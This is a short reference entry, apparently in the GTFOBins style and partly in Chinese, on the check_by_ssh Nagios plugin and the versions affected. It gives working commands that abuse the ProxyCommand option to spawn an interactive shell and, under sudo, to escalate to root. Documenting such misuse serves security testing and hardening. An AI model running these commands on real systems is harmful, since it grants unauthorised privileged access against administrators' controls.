check_by_ssh
Nagios plugin, available e.g. in /usr/lib/nagios/plugins/
.
When check_by_ssh
version 2.4.5
(2023-05-31) or later from the Nagios
Plugins project in it's default configuration is used, it does not work anymore.
It does still work on previous versions from the Nagios Plugins project or
all versions from the Monitoring Project (e.g. used by Ubuntu/Debian).
用来生成一个交互式的系统shell。
check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx